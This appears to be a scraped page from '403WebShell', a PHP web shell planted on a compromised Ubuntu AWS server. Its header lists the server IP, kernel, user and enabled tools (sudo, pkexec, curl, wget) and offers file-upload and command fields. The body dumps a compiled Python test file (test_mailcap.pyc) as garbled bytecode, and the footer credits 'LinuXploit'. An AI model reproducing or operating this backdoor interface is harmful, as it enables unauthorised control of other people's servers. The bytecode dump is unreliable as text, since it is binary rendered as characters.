Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_mailcap.cpython-310.pyc
o

�9j�(�@spddlZddlZddlZddlZddlmZddlZddlZej�	d�Z
dddddd	�gd
ddd
�gdddddd�gddd�gd
ddd�dddd�gddd�gddd
d d!d"�gd#d
d$d%d&�gd'd(d�gd)d*d�gd+d,d�gd-d.dd/�gd'd0d�gd1�
Ze�e�Z
e
��D]ZeD]Ze�d2�q�q�Gd3d4�d4ej�ZGd5d6�d6ej�ZGd7d8�d8ej�Zed9kr�e��dSdS):�N)�	os_helperzmailcap.txtz
moviemaker %sz""/usr/lib/Zmail/bitmaps/movie.xbm"z"Movie"zmovieplayer %s�)�composez
x11-bitmap�description�view�lineno�z?echo "This is \"%t\" but        is 50 \% Greek to me" \; cat %s�)�
copiousoutputrr�audiocompose %s�"An audio fragment"�showaudio %s���editrrrr�mpeg_play %s�
�rrzps-to-terminal %s�)�
needsterminalrrzidraw %s�)rrrzxdvi %s��
extcompose %s�4"A reference to data stored in an external location"�Qshowexternal %s %{access-type} %{name} %{site}     %{directory} %{mode} %{server}�
��composetypedrrrrz?test "`echo     %{charset} | tr '[A-Z]' '[a-z]'`"  = iso-8859-8z)shownonascii iso-8859-8 -e richtext -p %s�)�testr
rrz
display %s�	�/usr/local/bin/showaudio %t��
animate %s�z
"cat %s | lp"zshowframe %s)�printrr�)
zapplication/x-moviez
application/*�audio/basic�
video/mpegzapplication/postscriptzapplication/x-dvi�message/external-bodyz
text/richtextzimage/x-xwindowdump�audio/*�video/*zapplication/framez	image/rgbrc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�HelperFunctionTestcCs�t��}|�|t�|D]}|�|t�qt���%}d|vr'|d�tj	�}nddg}tj	�
|�|d<t��}Wd�n1sAwY|�||�dS)N�MAILCAPSz/testdir1/.mailcapz/testdir2/mailcap)�mailcap�listmailcapfiles�assertIsInstance�list�strr�EnvironmentVarGuard�split�os�pathsep�join�assertEqual)�self�mcfiles�m�env�env_mailcaps�r>�(/usr/lib/python3.10/test/test_mailcap.py�test_listmailcapfilesGs
��	z(HelperFunctionTest.test_listmailcapfilesc	Csnttd��"}|�t��
t�|�}Wd�n1swYWd�n1s*wY|�|t�dS)N�r)�open�MAILCAPFILE�assertWarns�DeprecationWarningr.�readmailcapfile�assertDictEqual�MAILCAPDICT_DEPRECATED)r9�mcf�dr>r>r?�test_readmailcapfileZs���z'HelperFunctionTest.test_readmailcapfilecCs�ddd�ddd�g}t�td�}|�||�d}ddd	d
dd�g}t�td
|�}|�||�ddiddig}t�td�}|�||�dS)Nr#r$rrrr(rrrr
rrr'r)r.�lookup�MAILCAPDICT�assertListEqualrH)r9�expected�actual�keyr>r>r?�test_lookupas"��zHelperFunctionTest.test_lookupcCs�gd�}gd�dfgd�dfgd�dfgd�dfgd	�d
fgd�dfdd
d|gdfdd
d|gdfg}|D]}|�tj|d�|d�q4dS)N)zid=1znumber=2ztotal=3)rr*�foo.txtr)�echo foor*rSrT)zecho %sr*rSzecho foo.txt)�echo %tr*rS)rU�	audio/wavrSzecho audio/wav)zecho \%tr*rSrUr*rSz
echo %{total}zecho 3rr)r8r.�subst)r9�plist�
test_cases�tcr>r>r?�
test_substws





�
�zHelperFunctionTest.test_substN)�__name__�
__module__�__qualname__r@rKrRr[r>r>r>r?r,Es
r,c@seZdZdd�Zdd�ZdS)�GetcapsTestcCsJt���}t|d<t��}|�|t�Wd�dS1swYdS)Nr-)rr3rCr.�getcapsrGrM)r9r<�capsr>r>r?�test_mock_getcaps�s

"�zGetcapsTest.test_mock_getcapscCs�t��}|�|t�t��}dd�|D�}|r9|��D]\}}|�|t�|�|t�|D]}|�|t�q-qdS|�i|�dS)NcSsg|]
}tj�|�r|�qSr>)r5�path�exists)�.0rIr>r>r?�
<listcomp>�sz3GetcapsTest.test_system_mailcap.<locals>.<listcomp>)	r.r`r0�dictr/�itemsr2r1r8)r9ra�mailcapfiles�existingmcfiles�k�v�er>r>r?�test_system_mailcap�s��zGetcapsTest.test_system_mailcapN)r\r]r^rbrnr>r>r>r?r_�s	r_c@sHeZdZdd�Ze�ejdkd�e�e	j
dkd�dd���Zd	d
�ZdS)�
FindmatchTestc	CsBt}d}gd�}dddddd�}dd	d
�}ddd
�}d
ddddd�}idgidf|dgidf|dgid|ff|ddgid|ff|ddgid|ff|ddgid|ff|ddgidf|dgd|id||ff|ddgd|id||ff|dgd|d�d|ff|d gd|idf|d!gd|id"|ff|d#gd$|id%|ffg
}|�|�dS)&NrS)zaccess-type=defaultz	name=johnzsite=python.orgzdirectory=/tmpzmode=fooz
server=barrrr
rrr!r"rr#r$rrrrrrr(�NNzfoo/barzanimate /dev/nullr'rzaudiocompose /dev/nullrr�foobarr+�filename)rQrrr*rVz"/usr/local/bin/showaudio audio/wavr)rXz?showexternal /dev/null default john python.org     /tmp foo bar)rM�
_run_cases)	r9�c�fnamerX�audio_basic_entry�audio_entry�video_entry�
message_entry�casesr>r>r?�test_findmatch�s\�

�
������zFindmatchTest.test_findmatch�posixz!Requires 'test' command on system�vxworksz*'test' command is not supported on VxWorkscCsLddigddigd�}|ddgidddiff|ddgidfg}|�|�dS)Nrztest 1 -eq 1ztest 1 -eq 0)�	test/pass�	test/failr~rrp)rs)r9rarzr>r>r?�	test_test�s��zFindmatchTest.test_testcCs2|D]}|�tj|di|d��|d�qdS)Nrrr)r8r.�	findmatch)r9rzrtr>r>r?rs�s&�zFindmatchTest._run_casesN)
r\r]r^r{�unittest�
skipUnlessr5�name�skipIf�sys�platformr�rsr>r>r>r?ro�s6ro�__main__)r.r5�copy�test.supportrrr�r��support�findfilerCrM�deepcopyrH�values�
entry_list�entry�pop�TestCaser,r_ror\�mainr>r>r>r?�<module>sr���


�
��



�
1�CP�

Youez - 2016 - github.com/yon3zu
LinuXploit